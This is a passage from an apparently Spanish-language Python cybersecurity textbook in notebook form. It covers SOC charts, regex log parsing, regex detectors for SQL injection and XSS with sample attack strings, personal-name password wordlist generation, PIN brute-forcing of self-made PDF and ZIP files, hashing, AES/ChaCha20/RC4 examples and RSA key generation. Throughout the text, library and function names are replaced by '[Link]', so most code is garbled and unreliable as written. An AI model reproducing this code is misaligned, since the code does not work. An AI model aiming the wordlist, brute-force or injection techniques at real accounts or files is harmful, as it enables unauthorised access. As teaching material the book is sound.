Para visualizar esa relación, un gráfico de dispersión funciona excelente… te muestra la tendencia de forma
clara.

Aquí va el ejemplo:

In [335]:
severity = [1, 2, 3, 4, 5]
response_time = [10, 20, 25, 35, 50]

[Link](severity, response_time, color='red')


[Link]('Tiempo de Respuesta vs. Gravedad del Incidente')
[Link]('Tiempo de Respuesta (min)')
[Link]('Gravedad del Incidente')
[Link]()

143
Veamos otro ejemplo tipo de visualización que se usa harto cuando queremos entender cómo se distribuyen
los tiempos de respuesta dentro del SOC. A veces creemos que respondemos rápido… pero cuando graficas
los datos, te das cuenta de que la mitad de los incidentes quedó esperando como ticket de soporte en día
feriado.

Un histograma es perfecto para esto… porque muestra cuántas veces se repite cada rango de tiempo y te da
una sensación inmediata de si la operación está saludable… o necesita un café doble.

Aquí va el ejemplo:

In [336]:
response_times = [5, 10, 15, 15, 20, 25, 30, 35, 40, 45, 50, 50, 55, 60]

[Link](response_times, bins=8, color='green')


[Link]('Distribución de Tiempos de Respuesta del SOC')
[Link]('Tiempo de Respuesta (min)')
[Link]('Frecuencia')
[Link]()

144
veamos un caso donde necesitamos comparar sistemas operativos entre sí. Algo tan simple como revisar
detecciones de malware por plataforma puede revelar patrones súper útiles… por ejemplo, cuándo Windows
empieza a subir demasiado, o cuándo Linux muestra un comportamiento raro (sí… pasa… aunque a veces
cueste admitirlo).

Un gráfico de áreas nos permite ver estas tendencias de forma acumulativa y comparativa… todo en una
sola figura.

Aquí va el ejemplo:

In [337]:
months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun']
windows = [30, 40, 50, 60, 70, 90]
linux = [20, 30, 40, 50, 60, 80]
mac = [10, 15, 20, 25, 30, 35]

plt.fill_between(months, windows, label='Windows', alpha=0.5)


plt.fill_between(months, linux, label='Linux', alpha=0.5)
plt.fill_between(months, mac, label='Mac', alpha=0.5)
[Link]('Detección de Malware en Diferentes Sistemas Operativos')
[Link]('Número de Detecciones')
[Link]('Meses')
[Link]()
[Link]()

145
Ahora… pensemos en otro escenario típico del día a día, comparar soluciones antivirus. A veces en una
empresa conviven varias plataformas o estás evaluando cuál se comporta mejor… y mirar los números en
bruto puede ser medio fome. Un gráfico de líneas, en cambio, te muestra inmediatamente cuál detecta
más… cuál se queda atrás… y cuál sube o baja según el mes.

Aquí va el ejemplo para visualizarlo:

In [338]:
months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun']
antivirus_1 = [90, 85, 95, 100, 110, 120]
antivirus_2 = [80, 82, 85, 88, 90, 95]
antivirus_3 = [70, 75, 80, 85, 90, 100]

[Link](months, antivirus_1, label='Antivirus A', marker='o')


[Link](months, antivirus_2, label='Antivirus B', marker='s')
[Link](months, antivirus_3, label='Antivirus C', marker='^')
[Link]('Comparación de Diferentes Soluciones Antivirus')
[Link]('Amenazas Detectadas')
[Link]('Meses')
[Link]()
[Link]()

146
Y para cerrar este módulo de visualización… nada más apropiado que mirar algo del framework MITRE
ATT&CK. En muchos análisis de incidentes terminamos clasificando las tácticas y técnicas usadas por un
atacante… y verlas en una gráfica horizontal ayuda bastante a entender cuáles aparecen con mayor
frecuencia.

Aquí va un ejemplo simple con las cinco técnicas más usadas:

In [339]:
techniques = ['T1059', 'T1071', 'T1210', 'T1566', 'T1078']
counts = [50, 45, 40, 35, 30]

[Link](techniques, counts, color='purple')


[Link]('Top 5 Técnicas de Ataque MITRE ATT&CK')
[Link]('Número de Usos')
[Link]()

147
Expresiones Regulares
Las expresiones regulares son una herramienta esencial en las tareas de ciberseguridad del día a día… nos
ayudan a validar entradas de datos, detectar patrones sospechosos y extraer información relevante desde
grandes volúmenes de texto. En otras palabras… son como ese filtro mental que uno desarrolla después de
años revisando logs, pero aplicado directamente al código.

Estos ejercicios que propongo con cariño en este libro buscan darte una base sólida para empezar a usar
regex en escenarios reales… desde lo más simple hasta casos un poco más útiles para pentesting, análisis
forense o automatización.

Partiremos con ejercicios pensados para principiantes… y luego iremos subiendo la dificultad. Las primeras
explicaciones serán detalladas… y mientras avancemos, irán siendo más breves… para dejar espacio a la
práctica, que al final es lo que realmente te hace dominar esto.

Partamos con el primer ejercicio… algo bien simple para calentar motores y entender cómo funciona
[Link]() en Python.

La idea es buscar un patrón dentro de un texto y ver si aparece… nada más complicado que eso. Piensa en
esto como la versión básica de revisar un log y preguntarte: ¿está esta palabra aquí o no?

Aquí va el ejemplo:

In [340]:
import re

pattern = r'hack'
text = "Learning to hack is fun."

match = [Link](pattern, text)


print([Link]()) # 'hack'

hack

La r antes de una cadena de texto r'hacks' en Python indica que la cadena es una cadena cruda o raw
string. Al usar una raw string, Python no interpreta estos caracteres especiales:

●​ \n representa un salto de línea.


●​ \t representa una tabulación.

Los trata literalmente. Esto es especialmente útil en expresiones regulares, donde las barras invertidas son
comunes

148
La r antes de una cadena de texto r'hacks' en Python indica que la cadena es una cadena cruda o raw
string. Al usar una raw string, Python no interpreta estos caracteres especiales:

●​ \n representa un salto de línea.


●​ \t representa una tabulación.

Los trata literalmente. Esto es especialmente útil en expresiones regulares, donde las barras invertidas son
comunes

Encontrar direcciones IP v4 simples

Imaginemos que vamos buscar direcciones IPs en un log ([Link], syslog, etc.).

entonces tenemos la siguiente cadena de texto: Conexión desde [Link] al puerto 443

In [342]:
import re
busqueda = "Conexión desde [Link] al puerto 443"
ip_regex = r"\b\d{1,3}(\.\d{1,3}){3}\b"

texto_ips = """
Conexion desde [Link] al puerto 443
Intento desde [Link] bloqueado
Texto cualquiera .......
Texto cualquiera .......
"""
ips = [Link](ip_regex, texto_ips)

In [343]:
ips

Out[343]:
['.5', '.100']

Ojo: como usamos paréntesis, la función [Link] devuelve solo el grupo. Para ver las IP completas, mejor
usar [Link]:

In [346]:
ips_completas = [[Link](0) for m in [Link](ip_regex, texto_ips)]
print("[x] IPs detectadas: ", ips_completas)

[x] IPs detectadas: ['[Link]', '[Link]']

Encontrar Correos Electrónicos

Esta expresión regular sirve por ejemplo para Logs de aplicaciones, registros de usuarios, formularios raros.

In [347]:

149
email_regex = r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b"

texto_emails = """
Usuario [Link]@[Link] fallo 3 intentos de login
Contacto: soporte@[Link]
Esto no es un correo: user@@example..com
"""

emails = [Link](email_regex, texto_emails)


print("[x] Correos detectados: ", emails)

[x] Correos detectados: ['[Link]@[Link]', 'soporte@[Link]']

Buscar URLs http/https

A veces nos tocará buscar en Logs de WAF, proxy, o app que guarda URLs visitadas. para esto, usaremos el
siguiente ejemplo:

In [348]:
url_regex = r"https?:\/\/[^\s\"]+"

texto_urls = """
User visited [Link]
User visited [Link]
Y este texto no tiene URL
Y este texto tampoco .....
"""

urls = [Link](url_regex, texto_urls)


print("[x] URLs detectadas: ", urls)

[x] URLs detectadas: ['[Link]


'[Link]

Niveles de log (INFO, WARN, ERROR, etc.)

A veces nos tocará LIMPIAR solo lo que nos sirve para una investigación, por ejemplo podríamos buscar con
filtros de solo errores o warnings en un log gigante.

In [349]:
nivel_regex = r"\[(INFO|WARN|ERROR|DEBUG|CRITICAL)\]"

texto_logs = """
2025-11-19 10:22:01 [ERROR] Invalid token from [Link]
2025-11-19 10:23:01 [INFO] User logged in
2025-11-19 10:24:01 [DEBUG] Checking cache
2025-11-19 10:24:01 [DEBUG] Checking cache
2025-11-19 10:24:01 [DEBUG] Checking cache
"""

150
niveles = [Link](nivel_regex, texto_logs)
print("[x] Niveles detectados:", niveles)

[x] Niveles detectados: ['ERROR', 'INFO', 'DEBUG', 'DEBUG', 'DEBUG']

Buscar intentos de login fallidos

A veces nos tocará una investigación, donde nos toque una detección rápida de bruteforce por log de app o
sistema..

In [352]:
login_fail_regex = r"login (fallido|failed|incorrecto) .* usuario (\w+)"

texto_login = """
login fallido para usuario admin desde [Link]
login failed for usuario root from [Link]
login incorrecto para usuario invitado
otro texto para relleno....
otro texto para relleno....
"""

matches = [Link](login_fail_regex, texto_login)


# ---> Cada match devuelve una tupla
print(" [x] Coincidencias Tupla: ", matches)
usuarios = [m[1] for m in matches]
print(" [x] Usuarios detectados en login fallido: ", usuarios)

[x] Coincidencias Tupla: [('fallido', 'admin'), ('failed', 'root'), ('incorrecto',


'invitado')]
[x] Usuarios detectados en login fallido: ['admin', 'root', 'invitado']

A veces nos va a tocar una investigación donde nos pasen un log de SSH… así tal cual… sin formato
bonito… y tendremos que buscar el usuario y la IP entre líneas que parecen escritas por alguien con
demasiada confianza en el azar. En esos casos, una expresión regular bien pensada nos salva la vida… o
por lo menos nos ahorra harta frustración.

Aquí partimos con un ejemplo sencillo… para mostrar cómo extraer ambos datos desde un log cualquiera.

In [353]:
# Ejemplo clásico de [Link]
ssh_regex = r"Failed password for (\w+) from (\d{1,3}(\.\d{1,3}){3})"

texto_ssh = """
Nov 11 10:22:01 server sshd[1234]: Failed password for root from [Link] port
43022 ssh2
Nov 11 10:22:05 server sshd[1235]: Failed password for admin from [Link] port 43023
ssh2
"""

151
ssh_matches = [Link](ssh_regex, texto_ssh)

print(" [x] Coincidencias crudas:", ssh_matches) # TUPLA

# Nos quedamos con usuario e IP completa


ssh_limpio = [(m[0], m[1]) for m in ssh_matches]
print(" [x] Usuario e IP:", ssh_limpio)

[x] Coincidencias crudas: [('root', '[Link]', '.15'), ('admin', '[Link]',


'.5')]
[x] Usuario e IP: [('root', '[Link]'), ('admin', '[Link]')]

Detección básica de algo que parece SQL injection

En otras ocasiones nos va a tocar revisar un [Link] buscando posibles ataques… y entre tantas
peticiones normales, siempre puede colarse algo que huele a SQL injection. Este ejemplo es una forma
sencilla, bien didáctica... de detectar un posible bypass SQL dentro de una URL.

Ojo… Esto no es perfecto ni te va a salvar en un entorno real por sí solo… pero sirve para entender la idea y
cómo aplicar regex en un caso práctico.

In [355]:
sql_injection_regex = r"('|\")\s*(OR|AND)\s+1=1"

texto_sql = """
param=user' OR 1=1 --
param=otro" AND 1=1#
param=sano_normal
param=sano_normal ....
"""

sql_matches = [Link](sql_injection_regex, texto_sql)


print(" [x] Posibles patrones de SQLi encontrados:", sql_matches)

[x] Posibles patrones de SQLi encontrados: [("'", 'OR'), ('"', 'AND')]

Detección ultra-sencillo de posible Ataque XSS

Este ejemplo es super sencillo, donde debemos buscar en un [Link] posibles ataques XSS.

In [356]:
xss_regex = r"<script\b[^>]*>"

texto_xss = """
GET /search?q=<script>alert(1)</script>
Comentario limpio sin script ......
Otro intento: <script src="[Link]
"""

152
xss_matches = [Link](xss_regex, texto_xss)
print(" [x] Posibles intentos de XSS (inicio de <script>):", xss_matches)

[x] Posibles intentos de XSS (inicio de <script>): ['<script>', '<script


src="[Link]

Ojo: Detecta cuando alguien intenta meter una etiqueta

Validar contraseñas con política básica

Imaginemos ahora, nos piden validar una política de contraseñas, donde mínimo necesitas 8 caracteres, al
menos 1 minúscula, 1 mayúscula y 1 número.

In [357]:
password_regex = r"^(?=.*[a-z])(?=.*[A-Z])(?=.*\d).{8,}$"

passwords = [
"Password1",
"password",
"PASSWORD1",
"Pass1",
"MiClaveSegura123"
]

for pwd in passwords:


if [Link](password_regex, pwd):
print(f"{pwd}: [O] cumple política")
else:
print(f"{pwd}: [x] NO cumple política")

Password1: [O] cumple política


password: [x] NO cumple política
PASSWORD1: [x] NO cumple política
Pass1: [x] NO cumple política
MiClaveSegura123: [O] cumple política

Combinatoria
Las combinatorias, sirven para entender cómo se construyen los diccionarios de contraseñas y por qué
algunos diccionarios de combinaciones explotan en tamaño siendo gigantes.

Supongamos, tenemos una lista de nombres posibles y queremos ver cuántas contraseñas podría tener una
persona.

153
Entonces usaremos el ejemplo de; nombre + año , esto podría existir en la vida real y es súper típico en
usuarios reales al momento de elegir contraseñas.

Ejemplo: juan1985, maria2024, etc.

Si tienes:

●​ 3 nombres
●​ 4 años

Total de contraseñas posibles: 3 × 4 = 12

In [425]:
!pip install more-itertools # librería de combinatoria

Requirement already satisfied: more-itertools in


c:\users\starh\anaconda3\lib\site-packages (10.3.0)

In [426]:
import itertools

nombres = ["juan", "maria", "seba"]


anios = ["1985", "1990", "2023", "2024"]

contrasenas = []

for nombre, anio in [Link](nombres, anios):


[Link](nombre + anio)

print("[ - ] Total combinaciones:", len(contrasenas))


print("> Ejemplos: ")
for c in contrasenas:
print(" ", c)

[ - ] Total combinaciones: 12
> Ejemplos:
juan1985
juan1990
juan2023
juan2024
maria1985
maria1990
maria2023
maria2024
seba1985
seba1990
seba2023
seba2024

Variantes de una misma palabra

154
Ahora, imagina tienes una palabra base, por ejemplo: seba, y quieres generar variantes de contraseña muy
comunes:

●​ seba
●​ Seba
●​ SEBA
●​ seba1
●​ Seba1
●​ SEBA1
●​ etc.

Si tienes, 3 variantes de caso (minúscula, Capitalizada, MAYÚSCULA),

3 formas posibles ("", "1", "123")

Total: 3 × 3 = 9 contraseñas.

Esto sirve para armar diccionarios inteligentes a partir de nombres reales.

In [427]:
import itertools

base = "seba"

variantes_base = [
[Link](), # seba
[Link](), # Seba
[Link](), # SEBA
]

colas = ["", "1", "123"]

contrasenas = []

for vb, cola in [Link](variantes_base, colas):


[Link](vb + cola)

print("[-] Total combinaciones:", len(contrasenas))


for c in contrasenas:
print(" ", c)

[-] Total combinaciones: 9


seba
seba1
seba123
Seba
Seba1
Seba123
SEBA
SEBA1
SEBA123

155
Combinación de 3 listas (nombre, palabra clave, número)

Ahora, imaginemos que queremos simular un pequeño generador de contraseñas basado en la vida real de
una persona:

●​ nombres : ["seba", "juan"]


●​ palabras clave : ["gato", "perro", "flo"]
●​ números → ["1", "01", "2024"]

Serían contraseñas del tipo: nombre + palabra + número Ejemplo: sebaflo2024

Si tienes: 2 nombres + 3 palabras + 3 números

Total: 2 × 3 × 3 = 18 combinaciones.

In [428]:
import itertools

nombres = ["seba", "juan"]


palabras = ["gato", "perro", "flo"]
numeros = ["1", "01", "2024"]

contrasenas = []

for n, p, num in [Link](nombres, palabras, numeros):


[Link](n + p + num)

print("[-]Total combinaciones: ", len(contrasenas))


for c in contrasenas:
print(" ", c)

[-]Total combinaciones: 18
sebagato1
sebagato01
sebagato2024
sebaperro1
sebaperro01
sebaperro2024
sebaflo1
sebaflo01
sebaflo2024
juangato1
juangato01
juangato2024
juanperro1
juanperro01
juanperro2024
juanflo1
juanflo01
juanflo2024

156
¿Cuántas contraseñas posibles podrían haber en un escenario?

Para esto, necesitamos entender el tamaño del espacio de búsqueda según:

●​ la longitud de la contraseña
●​ el tamaño del alfabeto que usas (solo letras, letras+números, etc.)

Por ejemplo, si cada carácter puede ser:

●​ solo minúsculas = 26 opciones


●​ minúsculas + números = 36
●​ may + min + números = 62

el número de contraseñas de longitud sería:

total = (tamaño_alfabeto) ** longitud_contraseña

In [429]:
def conteo_contrasenas(longitud, alfabeto):
return len(alfabeto) ** longitud

alf_min = "abcdefghijklmnopqrstuvwxyz"
alf_min_num = "abcdefghijklmnopqrstuvwxyz0123456789"
alf_full = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

for L in [4, 6, 8, 10]:


print(f"\nLongitud = {L}")
print(" Solo minúsculas :", conteo_contrasenas(L, alf_min))
print(" Minúsculas + números :", conteo_contrasenas(L, alf_min_num))
print(" May+min+números :", conteo_contrasenas(L, alf_full))

Longitud = 4
Solo minúsculas : 456976
Minúsculas + números : 1679616
May+min+números : 14776336

Longitud = 6
Solo minúsculas : 308915776
Minúsculas + números : 2176782336
May+min+números : 56800235584

Longitud = 8
Solo minúsculas : 208827064576
Minúsculas + números : 2821109907456
May+min+números : 218340105584896

Longitud = 10
Solo minúsculas : 141167095653376
Minúsculas + números : 3656158440062976
May+min+números : 839299365868340224

157
PDF con contraseña
Para este ejercicio, vamos a hacer 2 pasos:

●​ Primero, tomar un PDF y crear una versión protegida con contraseña numérica (ej: "1234").
●​ Segundo, hacer un script en Python que pruebe PINs numéricos hasta encontrarlo.
In [433]:
#librería para crear pdf
!pip install reportlab

Requirement already satisfied: reportlab in c:\users\starh\anaconda3\lib\site-packages


(4.4.5)
Requirement already satisfied: pillow>=9.0.0 in
c:\users\starh\anaconda3\lib\site-packages (from reportlab) (11.1.0)
Requirement already satisfied: charset-normalizer in
c:\users\starh\anaconda3\lib\site-packages (from reportlab) (3.3.2)

Primero, creamos un pdf cualquiera:

In [435]:
from [Link] import canvas

def crear_pdf_simple(nombre_pdf):
c = [Link](nombre_pdf)
[Link](100, 750, "Hola! Este es un PDF creado para StarHacks.")
[Link](100, 730, "que la fuerza te acompañe.....")
[Link]()
[Link]()

crear_pdf_simple("[Link]")

In [436]:
# instalar libreria para trabajar con pdf
!pip install PyPDF2

Requirement already satisfied: PyPDF2 in c:\users\starh\anaconda3\lib\site-packages


(3.0.1)

Primero, para simplificar el ejercicio, asumamos que ya tienes un PDF cualquiera llamado [Link]

In [437]:
from PyPDF2 import PdfReader, PdfWriter

# Archivo de entrada creado anteriormente (sin contraseña)


input_pdf = "[Link]"

# Archivo de salida (protegido)


output_pdf = "ejemplo_protegido.pdf"

158
# Contraseña numérica que vamos a usar (para el ejercicio)
password = "1234"

# Leer el PDF original


reader = PdfReader(input_pdf)
writer = PdfWriter()

# Copiamos todas las páginas al nuevo PDF


for page in [Link]:
writer.add_page(page)

# ciframos con la contraseña 1234


[Link](password)

# guardamos el PDF protegido


with open(output_pdf, "wb") as f:
[Link](f)

print(f"PDF protegido creado: {output_pdf} con password {password}")

PDF protegido creado: ejemplo_protegido.pdf con password 1234

Ahora hacemos un script que intente PINs tipo 0000 hasta 9999

In [449]:
from PyPDF2 import PdfReader

Vamos a hacer una función que intenta abrir el PDF con la contraseña dada y devuelve un True si sirve,
False si no.

In [446]:
def probar_password(pdf_path, password: str) -> bool:
try:
reader = PdfReader(pdf_path)
res = [Link](password) # decrypt devuelve 0 si falla, 1 o 2 si
funciona
return res == 1 or res == 2
except Exception:
return False

Ahora, una función que haga fuerza bruta de PIN numérico de longitud fija (ej: 4 - > 0000–9999)

In [450]:
def brute_force_pdf(pdf_path: str, longitud: int = 4):

max_num = 10 ** longitud
for i in range(max_num):
pwd = f"{i:0{longitud}d}" # ej: 4 → 0000, 0001, 0002...
if probar_password(pdf_path, pwd):
print(f"[ < * > ] Contraseña encontrada : {pwd}")

159
return pwd

if i % 1000 == 0:
print(f"[.]Probados: {i} passwords...")

print("[-] No se encontró contraseña en el rango probado.")


return None

Probamos la función:

In [451]:
ruta_pdf = "ejemplo_protegido.pdf" # archivo a analizar
brute_force_pdf(ruta_pdf, longitud=4)

[.]Probados: 0 passwords...
[.]Probados: 1000 passwords...
[ < * > ] Contraseña encontrada : 1234

Out[451]:
'1234'

ZIP con contraseña


Para este ejercicio. se usará un archivo ZIP creado por nosotros, este archivo le pondremos una contraseña
numérica y después le realizaremos un ataque de fuerza bruta.

In [453]:
#instalar librería de manejo de zip
!pip install pyzipper

Requirement already satisfied: pyzipper in c:\users\starh\anaconda3\lib\site-packages


(0.3.6)
Requirement already satisfied: pycryptodomex in
c:\users\starh\anaconda3\lib\site-packages (from pyzipper) (3.23.0)

Crearemos un archivo de prueba formato txt y sobre este, lo comprimimos en zip con contraseña para
después atacarlo:

In [465]:
import pyzipper

zip_name = "[Link]"
password_real = "1234" # la password

with [Link](
zip_name,
'w',

160
compression=pyzipper.ZIP_DEFLATED,
encryption=pyzipper.WZ_AES
) as zf:

[Link](password_real.encode('utf-8')) # configuramos la password


contenido = "Este es un mensaje ultra secreto.\nNo lo compartas."
[Link]("[Link]", [Link]('utf-8')) # Guardamos un archivo
dentro del ZIP, cifrado

print(f"[+] ZIP protegido creado: {zip_name} con password {password_real}")

[+] ZIP protegido creado: [Link] con password 1234

Crearemos una función que permita abrir y listar archivos del ZIP probando contraseñas. esta devolverá un
True si sirve, False si no.

In [468]:
import pyzipper

def probar_password_zip(zip_path: str, password: str) -> bool:


try:
with [Link](zip_path) as zf:
[Link]([Link]('utf-8')) # probamos la pass
nombres = [Link]()
if not nombres:
return False
_ = [Link](nombres[0]) # intentamos leer el primer archivo
return True
except RuntimeError:
# passwd incorrecta (Bad password for file)
return False
except Exception:
# otro tipo de error, formato, etc.
return False

In [469]:
def brute_force_zip(zip_path: str, longitud: int = 4):
max_num = 10 ** longitud

for i in range(max_num):
pwd = f"{i:0{longitud}d}"
if probar_password_zip(zip_path, pwd):
print(f"[ < * > ] Contraseña ZIP encontrada : {pwd}")
return pwd

if i % 1000 == 0:
print(f"[-] Probados: {i} passwords ZIP...")

print("[x]No se encontró password en el rango probado.")


return None

In [470]:

161
zip_name = "[Link]"
brute_force_zip(zip_name, longitud=4)

[-] Probados: 0 passwords ZIP...


[-] Probados: 1000 passwords ZIP...
[ < * > ] Contraseña ZIP encontrada : 1234

Out[470]:
'1234'

Algoritmos Hash
Un hash es como una máquina que solo funciona para un solo lado, tú le tiras cualquier dato por ejemplo una
palabra, un archivo, lo que sea. y te devuelve una cadena rara de letras y números. Siempre produce algo
distinto y es casi imposible de adivinar de vuelta.

La gracia, es que tomas un valor y lo conviertes en otro, pero sin posibilidad de deshacerlo. Es como meter
pan en una tostadora, sale tostada… pero no puedes volver a tener el pan original.

Normalmente los hash te dan un resultado con un largo fijo (siempre la misma cantidad de caracteres). Pero
hay algunos algoritmos hechos especialmente para guardar contraseñas, donde el resultado puede cambiar
de largo porque están diseñados para ser más seguros y más difíciles de romper.

Ejemplos de hashes que existen en Python:

En Python, los hash vienen en la librería hashlib, así que no hay que instalar nada. Aquí van los más usados
en ciberseguridad, con ejemplos cortitos.

MD5:

Este algoritmo es rápido, antiguo y no seguro para contraseñas. Sirve solo para verificar integridad básica.

In [472]:
import hashlib

data = "starhacks hola mundo".encode()


hash_md5 = hashlib.md5(data).hexdigest()

print("> MD5 :", hash_md5)

> MD5 : 37556fa4b9b645298b7cebd287884790

SHA-1 : este algoritmo es más seguro que MD5, pero igual está pasado de moda (tiene colisiones
conocidas).

162
In [473]:
import hashlib

data = "starhacks hola mundo".encode()


hash_sha1 = hashlib.sha1(data).hexdigest()

print("> SHA1:", hash_sha1)

> SHA1: 136ee9554bdcf6b2d4f1c1970ab1ec0cb5209fa8

SHA-256 : Este algoritmo es el estándar hoy en día. es rápido, seguro y muy usado para integridad y tokens.

In [474]:
import hashlib

data = "starhacks hola mundo".encode()


hash_sha256 = hashlib.sha256(data).hexdigest()

print("> SHA256:", hash_sha256)

> SHA256: ac24ca366b456426ee99c9c79a7828f0d4e614be28b50845b4a4b775814a9d14

SHA-512: Este algoritmo es como SHA-256, pero con salida más larga (más bits) de fortaleza. Es útil cuando
quieres más entropía.

In [475]:
import hashlib

data = "starhacks hola mundo".encode()


hash_sha512 = hashlib.sha512(data).hexdigest()

print("> SHA512:", hash_sha512)

> SHA512:
9b9fff32a5431def0374233e6362b36ead87f37a4ee7cd3ab602ebd94c5eeabc0c9b4cca3f12cef2dd642ac
75e256dd94eead51d69236bf500a5e088ba603f3c

BLAKE2: Este algoritmo, es más eficiente que SHA-256, muy usado hoy en sistemas modernos.

In [476]:
import hashlib

data = "starhacks hola mundo".encode()


hash_blake2 = hashlib.blake2b(data).hexdigest()

print("> BLAKE2: ", hash_blake2)

163
> BLAKE2:
1d964b92fa199c6686edf4090a54587724dc91de84eac58bab830f2ab25ff4a992b76f9282e0b6b58ed48a4
c8d84e780ed390204b19b97b5acb940b804bc62c3

SHA3-256: Este algoritmo está basado en Keccak y es más resistente a ataques modernos.

In [477]:
import hashlib

data = "starhacks hola mundo".encode()


hash_sha3 = hashlib.sha3_256(data).hexdigest()

print("> SHA3-256:", hash_sha3)

> SHA3-256: c31681640c1c0d152147a037388c3296711b1e5870f639af376e69197893ed6e

Hash para contraseñas (PBKDF2) Python trae un algoritmo seguro para guardar contraseñas, este algoritmo
agranda la clave y la hace más difícil de romper. Esto es lo que usan muchos sistemas reales para guardar
contraseñas.
In [479]:
import hashlib
import os

password = "mipasswd123"
salt = [Link](16)

key = hashlib.pbkdf2_hmac(
'sha256', # algoritmo base
[Link](),
salt,
200_000, # número de iteraciones
dklen=32 # size final de la clave
)

print("[-] Salt:", [Link]())


print("[-] PBKDF2 hash:", [Link]())

[-] Salt: c02fbe8ae2ed7ba6348c9919d85908bc


[-] PBKDF2 hash: d243b879c2b6070a8af60cb8961de675630184e8194817d27061f11fa8bbba8e

Algoritmos de cifrado simétrico


El cifrado simétrico es básicamente la idea de mezclar o enredar un archivo para que nadie pueda leerlo, a
menos que tenga la misma clave que usaste tú. Tú metes un texto normal, el algoritmo lo revuelve y lo que
sale es un criptograma, algo que no entiende ni tu gato entendería. El cifrado simétrico es ideal cuando
quieres guardar información personal o sensible, pero no quieres compartir la clave con otros. Si la clave es
buena, nadie más debería poder ver lo que guardaste, aunque tengan el archivo en sus manos.

164
AES

Este algoritmo es un cifrado moderno, rápido, seguro y estándar en gobiernos y bancos.

Modos típicos:

●​ AES-GCM : cifrado + integridad , el mejor hoy.


●​ AES-CBC : solo cifrado, requiere HMAC para integridad.
●​ AES-CTR : stream cipher.

In [485]:
# librería de cifrado
!pip install pycryptodome

Requirement already satisfied: pycryptodome in


c:\users\starh\anaconda3\lib\site-packages (3.23.0)

AES-GCM:

In [484]:
from [Link] import AES
from [Link] import get_random_bytes
# cifrado
key = get_random_bytes(32) # 256 bits
cipher = [Link](key, AES.MODE_GCM)
nonce = [Link]

ciphertext, tag = cipher.encrypt_and_digest(b"mensaje secreto")

print(" - Nonce:", [Link]())


print(" - Ciphertext:", [Link]())
print(" - Tag:", [Link]())

# descifrado
cipher2 = [Link](key, AES.MODE_GCM, nonce=nonce)
plaintext = cipher2.decrypt_and_verify(ciphertext, tag)
print("[<>]Descifrado: ", [Link]())

- Nonce: b662a89fa87f0c39dd98020d8855359f
- Ciphertext: 44cd799e6f40ec335113d879561fd2
- Tag: 21c5eaeb1e56eba49b1c285e271acf2d
[<>]Descifrado: mensaje secreto

ChaCha20 - la alternativa moderna a AES.

Este algoritmo es súper rápido en software y excelente para dispositivos móviles, routers, IoT.

In [486]:
from [Link] import ChaCha20

165
from [Link] import get_random_bytes

# cifrado
key = get_random_bytes(32)
cipher = [Link](key=key)
nonce = [Link]

ciphertext = [Link](b"hola mundo")

print(" - Nonce:", [Link]())


print(" - Ciphertext:", [Link]())

# descifrado
cipher2 = [Link](key=key, nonce=nonce)
plaintext = [Link](ciphertext)

print(" [<>]Descifrado: ", [Link]())

- Nonce: 61a1efae2ad6ad89
- Ciphertext: bc065dd077af420911b5
[<>]Descifrado: hola mundo

DES / 3DES (obsoleto pero existe)

Ya no se usa mucho y va en bajada.

In [487]:
from [Link] import DES3
from [Link] import get_random_bytes

#cifrado
key = DES3.adjust_key_parity(get_random_bytes(24))
cipher = [Link](key, DES3.MODE_CBC)
iv = [Link]
ciphertext = [Link](b"hola1234") # DES requiere múltiplos de 8 bytes
print(" - IV:", [Link]())
print(" - Ciphertext:", [Link]())

#descifrado
cipher2 = [Link](key, DES3.MODE_CBC, iv=iv)
plaintext = [Link](ciphertext)
print(" [<>]Descifrado: ", [Link]())

- IV: eaa3601e8c63fc87
- Ciphertext: 6c57fbaa4c321049
[<>]Descifrado: hola1234

ARC4 / RC4

Algoritmo de cifrado inseguro, no se recomienda mostrar ejemplos, salvo que quieras estudiar algún ataques.

166
In [489]:
from [Link] import ARC4

key = b"clave123" # clave


cipher = [Link](key)

ciphertext = [Link](b"mensaje secreto")# cifrado


plaintext = [Link](key).decrypt(ciphertext) # descifrado

print("[<]Ciphertext:", [Link]())
print("[>]Descifrado:", [Link]())

[<]Ciphertext: 3535f7239dc93c84ac33029d9a4aba
[>]Descifrado: mensaje secreto

Cifrado asimétrico
El cifrado asimétrico es como el hermano más grande de los cifrados disponibles. Aquí no trabajas con una
clave única, sino con dos claves:

●​ Clave pública : la puedes compartir con cualquiera.


●​ Clave privada : esta la guardas bajo llave, ni tu gato al lado de tu compu debería verla.

La magia es que, lo que se cifra con la clave pública, solo se puede abrir con la privada. Y lo que se firma
con la clave privada, cualquiera lo puede verificar con la pública.

Es como tener dos llaves diferentes que igual trabajan juntas, pero cada una en su propio lugar.

Este sistema es la base de casi toda la seguridad moderna:

●​ HTTPS
●​ SSH
●​ GPG / PGP
●​ VPN
●​ Tokens firmados
●​ Certificados digitales
●​ Blockchain
●​ Firmas en código (como las apps de tu celular)
RSA : Este algoritmo sería como crear tu identidad criptográfica.

In [490]:
from [Link] import RSA

key = [Link](2048) # generar llave RSA de 2048 bits

private_key_pem = key.export_key() # clave privada - No Compartir


print(" > CLAVE PRIVADA:\n")

167
print(private_key_pem.decode())

public_key_pem = [Link]().export_key() # clave pública - está SI se puede


Compartir.
print("\n >CLAVE PÚBLICA:\n")
print(public_key_pem.decode())

> CLAVE PRIVADA:

-----BEGIN RSA PRIVATE KEY-----


MIIEowIBAAKCAQEA2yU8TghOft7YEADVUMTxRoYA0zvyZ24iRgzxSjNRPkd3Gkvx
I4jEHA11lV3Q+9bl4dK3MGO6jT1lTATPRBiOkc285bkb03EYldZP/qSIprOqqCSZ
syPOUAlTOsFzy9HYNxdKCXmf11QAPgjGnSX7cFYor+ngnyX22antOZdraJU15yTu
L891bnGHDspSLmZLJ/Vs3+WzPBF2AFDejv/Kj8ZpiabQ6L6MB4b4xvIc2SD2Mxx7
ZJYIfkvZY3niQIZQWMyMtmdy/MeS2c4al5F3DiGWOUkhOCfr9NSpfSNV7cCeNZvn
XSpHA6keAKEzsFwuOT/Zb/fmUKPLfGfgFpXYiwIDAQABAoIBAC+JPDORCbXrkOKn
y53hmpS5rKQldMeK1FRtqkl2KEFiLyu9HWmf2SpcoQztdM+sJeF+W85bU7QfhUGg
KXWT/hkSj88lACw1dCfMfT23Yw0GHBatGcoKEk66NxufqwajVktc+epkP4/t4L+U
